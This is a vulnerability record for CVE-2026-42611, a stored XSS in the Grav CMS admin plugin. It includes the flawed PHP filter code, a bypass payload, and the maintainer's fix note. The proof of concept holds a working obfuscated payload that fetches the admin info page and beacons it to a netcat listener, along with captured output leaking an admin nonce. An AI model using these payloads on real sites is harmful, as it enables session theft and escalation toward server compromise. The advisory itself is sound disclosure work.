{"id":"CVE-2026-42611","aliases":["GHSA-w8cg-7jcj-4vv2"],"url":"https://o3.security/vulnerability/CVE-2026-42611","summary":"Grav: Stored XSS via Tag Injection","details":"### Summary\nA low-privileged (with the ability to create a page) user can cause XSS with the injection of `svg` element. The XSS can further be escalated to dump the entire system information available under `/admin/config/info` whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).\n\n### Details\nAffected endpoint: `admin/pages/<page>`\nAffected code: `system/src/Grav/Common/Security.php`\n\n```php\n    public static function detectXss($string, array $options = null): ?string\n    {\n        // Skip any null or non string values\n        if (null === $string || !is_string($string) || empty($string)) {\n            return null;\n        }\n\n        if (null === $options) {\n            $options = static::getXssDefaults();\n        }\n\n        $enabled_rules = (array)($options['enabled_rules'] ?? null);\n        $dangerous_tags = (array)($options['dangerous_tags'] ?? null);\n        if (!$dangerous_tags) {\n            $enabled_rules['dangerous_tags'] = false;\n        }\n        $invalid_protocols = (array)($options['invalid_protocols'] ?? null);\n        if (!$invalid_protocols) {\n            $enabled_rules['invalid_protocols'] = false;\n        }\n        $enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); });\n        if (!$enabled_rules) {\n            return null;\n        }\n\n        // Keep a copy of the original string before cleaning up\n        $orig = $string;\n\n        // URL decode\n        $string = urldecode($string);\n\n        // Convert Hexadecimals\n        $string = (string)preg_replace_callback('!(&#|\\\\\\)[xX]([0-9a-fA-F]+);?!u', static function ($m) {\n            return chr(hexdec($m[2]));\n        }, $string);\n\n        // Clean up entities\n        $string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string);\n\n        // Decode entities\n        $string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8');\n\n        // Strip whitespace characters\n        $string = preg_replace('!\\s!u', ' ', $string);\n        $stripped = preg_replace('!\\s!u', '', $string);\n\n        // Set the patterns we'll test against\n        $patterns = [\n            // Match any attribute starting with \"on\" or xmlns\n            'on_events' => '#(<[^>]+[a-z\\x00-\\x20\\\"\\'\\/])(on[a-z]+|xmlns)\\s*=[\\s|\\'\\\"].*[\\s|\\'\\\"]>#iUu',\n\n            // Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols\n            'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\\&\\#58)\\S.*?#iUu',\n\n            // Match -moz-bindings\n            'moz_binding' => '#-moz-binding[a-z\\x00-\\x20]*:#u',\n\n            // Match style attributes\n            'html_inline_styles' => '#(<[^>]+[a-z\\x00-\\x20\\\"\\'\\/])(style=[^>]*(url\\:|x\\:expression).*)>?#iUu',\n\n            // Match potentially dangerous tags\n            'dangerous_tags' => '#</*(' . implode('|', array_map('preg_quote', $dangerous_tags, ['#'])) . ')[^>]*>?#ui'\n        ];\n\n        // Iterate over rules and return label if fail\n        foreach ($patterns as $name => $regex) {\n            if (!empty($enabled_rules[$name])) {\n                if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) {\n                    return $name;\n                }\n            }\n        }\n\n        return null;\n    }\n```\n\nSpecifically the line:\n\n```php\n'on_events' => '#(<[^>]+[a-z\\x00-\\x20\\\"\\'\\/])(on[a-z]+|xmlns)\\s*=[\\s|\\'\\\"].*[\\s|\\'\\\"]>#iUu',\n```\n\nassumes that the on_events will always begin with either `whitespace, ', \"` which can easily be bypassed with a simple payload like:\n\n`<img src=x onload=alert('1')>`\n\nThis XSS Filter practice is broken.\n1. Blacklisting every possible scenario that leads to XSS isn't possible.\n2. Regex can't parse HTML.\n\nIt would be better to use an HTMLPurifier.\n### PoC\nGrav Core + Admin Plugin\nGrav Version: `v1.7.49.5 - Admin v1.10.49.1`\n\n1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages.\n![User Perms](https://imgur.com/VkhtE9L.png)\n\n2. Login as the low-privileged user and browse to pages:\n![Pages](https://imgur.com/4bmmozN.png)\n\n3. Create a post with the following content:\n```\n<svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>\n```\n\nThe payload base64 is decoded to: \n\n```javascript\n(async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();\n```\n\nwhenever a user with enough privilege visits the attacker-controlled page, a request will be made to the `info` endpoint and the response will be sent to attacker beacon/listener.\n\n4. Save\n![Post Created](https://imgur.com/o33Erj2.png)\n\n5. Start a `ncat` listener on port `8001`.\n\n```bash\n┌──(kali㉿kali)-[~]\n└─$ ncat -lvnp 8001\nNcat: Version 7.95 ( https://nmap.org/ncat )\nNcat: Listening on [::]:8001\nNcat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/)\nNcat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/).\n```\n\n6. Now as a Super Admin visit the `/` of Grav `[http://localhost/grav-admin/`](http://localhost/grav-admin/) for me:\n![Visiting Grav](https://imgur.com/kjt7uc9.png)\n\n7. We get a response with the `admin-nonce` and the entire system information:\n\n```\n┌──(kali㉿kali)-[~]\n└─$ ncat -lvnp 8001\nNcat: Version 7.95 ( https://nmap.org/ncat )\nNcat: Listening on [::]:8001\nNcat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/)\nNcat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/).\nPOST /grav-log HTTP/1.1\nHost: [127.0.0.1:8001](http://127.0.0.1:8001/)\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br, zstd\nContent-Type: text/plain;charset=UTF-8\nContent-Length: 127013\nOrigin: http://localhost/\nConnection: keep-alive\nReferer: http://localhost/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: no-cors\nSec-Fetch-Site: cross-site\nPriority: u=6\n\n    <!DOCTYPE html>\n    <html lang=\"en\">\n    <head>\n            <meta charset=\"utf-8\" />\n        <title>Configuration: Info | Grav</title>\n                    <meta name=\"description\" content=\"\">\n                            <meta name=\"robots\" content=\"noindex, nofollow\">\n                <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n        <link rel=\"icon\" type=\"image/png\" href=\"/grav-admin/user/plugins/admin/themes/grav/images/favicon.png\">\n\n                                   \n\n       \n        <script type=\"text/javascript\">\n    window.GravAdmin = window.GravAdmin || {};\n    window.GravAdmin.config = {\n        current_url: '/grav-admin/admin/config/info',\n        base_url_relative: '/grav-admin/admin',\n        base_url_simple: '/grav-admin',\n        route: 'info',\n        param_sep: ':',\n                enable_auto_updates_check: '1',\n                admin_timeout: '1800',\n        admin_nonce: '1265db72d897b4324cbe7d1781e66e3b',\n       \n       \n<SNIPPED>\n```\n\n### Impact\n\nThis is a **Stored Cross-Site Scripting (XSS)** vulnerability exploitable by a low-privileged user, which leads to **exfiltration of the admin session context**, including the **`admin_nonce`**. This nonce can be abused to **bypass CSRF protections** and **authenticate further requests** to sensitive admin endpoints. Given Grav’s support for **scheduled tasks** and extensible plugin architecture, this can be escalated to **Remote Code Execution (RCE)** under favorable conditions.\n\n**Affected Component**: Grav Core + Admin Plugin (`v1.7.49.5` / `v1.10.49.1`)  \n**Impact**: Full system compromise via RCE chain originating from low-privilege XSS.\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H`\n`Overall CVSS Score: 9.0`\n`High Impact`\n\n---\n\n\n---\n\n## Maintainer note — fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. Two changes in tandem:\n\n1. **Regex bypass** (detection layer) — the `on_events` regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details.\n\n2. **Missing dangerous tags** — `svg`, `math`, `option`, and `select` have been added to default `security.xss_dangerous_tags` in [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml). `svg` and `math` allow inline scripting through their XML namespace and event-handler surface; `option`/`select` are the tags attackers use to break out of the admin's select-template context before dropping the payload.\n\nCombined with the tightened `on_events` regex, the PoC `<svg>…<script>…</script></svg>` (and the GHSA-c2q3 `</option></select><img src=x onerror=alert(1)>` variant) now trip at least one detector.\n\n**Files:**\n- [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — dangerous-tags list extended.\n- [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — regex tightening.\n- [`tests/unit/Grav/Common/Security/DetectXssTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/DetectXssTest.php).","published":"2026-05-11T15:20:47.890Z","modified":"2026-08-12T03:51:38.787466463Z","cvss":{"score":8.9,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H"},"epss":{"score":0.003,"percentile":0.22741,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"getgrav/grav","fixedVersion":"2.0.0-beta.2"}],"fix":{"url":"https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663","label":"getgrav/grav@5a12f9b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42611.json"},{"type":"ADVISORY","url":"https://github.com/getgrav/grav/security/advisories/GHSA-w8cg-7jcj-4vv2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42611"},{"type":"FIX","url":"https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:38.787466463Z"}}